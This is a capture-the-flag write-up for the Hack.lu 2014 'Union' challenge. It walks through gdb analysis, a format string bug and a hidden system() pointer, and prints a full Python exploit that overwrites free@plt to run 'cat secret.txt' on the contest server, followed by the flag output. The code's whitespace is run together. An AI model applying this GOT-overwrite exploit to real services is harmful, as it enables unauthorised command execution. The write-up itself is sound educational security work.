Hack.lu 2014 was a very fun, western-themed CTF. For the Union, we were given an executable and a place to connect to. We need to find secret.txt and the hint is that “not everything is what it seems”. Uh-huh.
Upon connecting, the program asks for the union’s slogan and secret word:
We have neither. Time to fire up the binary in gdb. I also uploaded it to the Retargetable Decompiler. The binary looks for a file called salt.txt. I made a file with only 0 as contents. Using the output of the Retargetable Decompiler, I spotted the strcmp that checks the user-supplied password. It looks like it checks against %,(!x4!%<.>, but I figured that it does a bit of decoding. In gdb, I set a breakpoint on strcmp:
12345678910111213141516171819
gdb-peda$ p strcmp
$1={<text variable, no debug info>} 0x8048660 <strcmp@plt>
gdb-peda$ b *0x8048660
Breakpoint 1 at 0x8048660
gdb-peda$ r
...snip...
[------------------------------------stack-------------------------------------]0000| 0xffffd44c --> 0x80489c9 (test eax,eax)0004| 0xffffd450 --> 0xffffd497 ("BLEH")0008| 0xffffd454 --> 0x804c818 ("gold>silver0\n")0012| 0xffffd458 --> 0xc ('\x0c')0016| 0xffffd45c --> 0xf7fbb000 --> 0x1a6da8
0020| 0xffffd460 --> 0x4
0024| 0xffffd464 --> 0xb ('\x0b')0028| 0xffffd468 --> 0x0
[------------------------------------------------------------------------------]Legend: code, data, rodata, value
Breakpoint 1, 0x08048660 in strcmp@plt ()
So the slogan seems to be gold>silver, and then the contents of salt.txt is appended. But how do we know what salt.txt contains on the remote server? I had another look at the output of the Decompiler, and this bit stuck out:
Only the first byte of salt.txt is used! This makes it easy to bruteforce it.
After poking around, I found a string format exploit in the Add mine and Show profit function. This little bit shows we have control over the format string:
123456789
Do you want to see the profit?
Location: %11$x-%12$xType: AABBBBCCCC
y/n
y
Profit for location:
42424242-43434343
AABBBBCCCC
666
We poked around the binary a bit more and Swappage identified the secret trapdoor function at 0x8049208. It turns out that we could reach this function also when 99 is entered on the menu:
1234
99
Ufff! You found our trapdoor.
Ok here you go. Everything in here is not what it seems to be.
If you do not understand this, you are not quite there yet.
I wrote a small python script that exploits the string format bug so that it writes the address 0x8049208 to free@plt. Next, the script invokes Delete mine so that free() is called, but this actually points to the trapdoor function. When executing this script locally, I noticed that /bin/sh threw an error message, indicating that system() is called somehow. But upon examination of the binary, I could not find any calls to system(), execve or even int 0x80! What was going on here? hopper shed some light on this function:
There is a piece of code that is never actually executed when this trapdoor function is called from the menu, the printf. Oddly, the rest of the binary uses puts. I ran gdb and examined the pointer that is used and compare it to printf… It wasn’t the same! On a hunch, I compared it to system(), which did match! So indeed, not everything is what it seems. With this in mind, we can modify the string format exploit. It should write the address of printf@plt to free@plt, so when a string is freed, system() is called with that string as argument. Command execution, here we come!
#!/usr/bin/pythonfromsocketimport*importtime# connect to remote servers=socket(AF_INET,SOCK_STREAM)s.connect(('wildwildweb.fluxfingers.net',1423))# receive & print bannertime.sleep(1)prints.recv(1024)time.sleep(1)# send passphrases.send('gold>silverb\n')time.sleep(0.05)prints.recv(512)# delete all mines, makes it easier laters.send('3\n')s.send('y\n')time.sleep(0.05)prints.recv(512)s.send('3\n')s.send('y\n')time.sleep(0.05)prints.recv(512)s.send('3\n')s.send('y\n')time.sleep(0.05)prints.recv(512)# add mine, supply a string format argument which# overwrites the first two bytes of free@plt pointertime.sleep(0.05)s.send('1\n')time.sleep(0.05)prints.recv(512)# we need to write the value 0x85e0, which is 34272 # in decimals.send('%34272c%11$hn\n')time.sleep(0.05)prints.recv(512)# pointer to free@plts.send('AA\x14\xb0\x04\x08CCCC\n')time.sleep(0.05)prints.recv(512)# don't cares.send('666\n')time.sleep(0.05)prints.recv(512)# invoke Show Profit && trigger format string exploits.send('4\n')time.sleep(0.05)prints.recv(512)s.send('y\n')# receive dummy bytesforiinrange(342):time.sleep(0.01)s.recv(100)prints.recv(256)# add mine, supply a string format argument which# overwrites the last two bytes of free@plt pointers.send('1\n')time.sleep(0.05)prints.recv(512)# we need to write the value 0x0804, which is 2052 # in decimals.send('%2052c%11$hn\n')# -> 0x804 in hextime.sleep(0.05)prints.recv(512)# pointer to free@plt+2s.send('AA\x16\xb0\x04\x08CCCC\n')time.sleep(0.05)prints.recv(512)# don't cares.send('666\n')time.sleep(0.05)prints.recv(512)# invoke Show Profit && trigger format string exploits.send('4\n')time.sleep(0.05)prints.recv(512)s.send('n\n')time.sleep(0.05)prints.recv(512)s.send('y\n')time.sleep(0.05)# receive extra bytes (from the string format exploit)prints.recv(2400)# send payload, in another mine. we're going to delete it # right away to call system()time.sleep(0.05)s.send('1\n')time.sleep(0.05)prints.recv(512)# shell command goes heres.send('cat secret.txt 2&>1\n')time.sleep(0.05)prints.recv(512)# second commands.send('bleh\n')#0x804b02ctime.sleep(0.05)prints.recv(512)# third commands.send('blah\n')time.sleep(0.05)prints.recv(512)# invoke Delete Mine, which triggers system() which our commandss.send('3\n')time.sleep(0.05)prints.recv(512)s.send('n\n')time.sleep(0.05)prints.recv(512)s.send('n\n')time.sleep(0.05)prints.recv(512)s.send('y\n')time.sleep(0.05)prints.recv(512)time.sleep(0.05)prints.recv(512)s.close()
After running this exploit, it returns the flag:
12345678910111213141516171819202122
3^JDo you want to delete?
Location: %34272c%11$hnType: AA..CCCC
y/n
n^JDo you want to delete?
Location: %2052c%11$hnType: AA..CCCC
y/n
n^JDo you want to delete?
Location: cat secret.txt 2&>1
Type: bleh
y/n
y^JFLAG{d1aM0nd>G0lD}1) Add mine
2) Show mines
3) Delete mine
4) Show profit
5) Exit
id^J